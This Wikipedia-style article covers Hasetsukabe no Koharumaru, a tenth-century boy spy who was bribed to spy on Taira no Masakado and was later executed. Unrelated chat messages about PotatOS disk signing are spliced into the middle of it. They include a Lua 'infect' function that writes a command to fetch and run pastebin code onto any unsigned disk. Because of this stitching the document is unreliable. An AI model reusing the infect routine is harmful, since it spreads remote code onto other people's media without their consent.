Hasetsukabe no Koharumaru

Hasetsukabe no Koharumaru (丈部 子春丸) (died 938) was a boy spy of Heian period Japan. He is known from the 10th century military chronicle Shōmonki. Recruited to spy against his lord, the rebel Taira no Masakado, he was ultimately discovered and killed.

Enlistment

According to the Shōmonki, Masakado was embroiled in a bitter struggle with one of his uncles, Taira no Yoshikane. After suffering several defeats at Yoshikane's hands, Masakado retaliated with his own troops, forcing Yoshikane into hiding.[1] It was at this time that the uncle, Yoshikane noticed the young Koharumaru, who was working as a messenger for Masakado, and who frequented the area near Yoshikane's home. Yoshikane summoned Koharumaru, and bribed the boy with "mounds of rice", clothing, and the prospect being given a better position as a mounted retainer. In exchange, Yoshikane asked for his cooperation in "devising a scheme to destroy Masakado", a proposal Koharumaru accepted.[2]

Assignment

Koharumaru returned to his home, along with a farmhand Yoshikane had sent with him. Disguised as charcoal carriers, the two spied on Masakado's residence, collecting information on its armory, stable, gates, and Masakado's sleeping quarters before returning to Yoshikane.[3] Having received this information, Yoshikane led his forces against Masakado's estate in a nighttime raid. However, their movement was picked up by one of Masakado's sentries, who warned his master beforehand. Prepared, Masakado led a successful counterattack and routed Yoshikane's troops.

Death

Koharumaru, hearing of their defeat, quickly went on the run. However, it was not two weeks until he was captured by Masakado, and beheaded for his deeds.[4]

gollark: If you have the private key, you can generate signatures for any startup. You don't, though. The stuff written onto disks *also* has a UUID embedded (on the more complex ones), which is part of the signed bit.
gollark: The signatures are programatically generated from the contents of the file and my private key. PotatOS has the *public* key, so it can verify that the signature was generated from the corresponding private key.
gollark: Um, no, that's not how it works.
gollark: Quick summary:- valid disks contain a signature file and a startup- the signature can be in the old table format or hexadecimal- only disks where the signature is valid for the code on them are executed
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```

See also

Notes

  1. Friday 2007, pp. 56–57
  2. Friday 2007, pp. 57–58
  3. Friday 2007, p. 58
  4. Friday 2007, p. 60

References

  • Friday, Karl F. (2007), The first samurai: the life and legend of the warrior rebel, Taira Masakado, Wiley, ISBN 978-0-471-76082-5
  • Rabinovitch, Judith N. (1986), Shōmonki: the story of Masakado's rebellion, Monumenta Nipponica, Sophia University, OCLC 16900252
  • Turnbull, Stephen (2007), Warriors of Medieval Japan, Osprey Publishing, ISBN 978-1-84603-220-2
This article is issued from Wikipedia. The text is licensed under Creative Commons - Attribution - Sharealike. Additional terms may apply for the media files.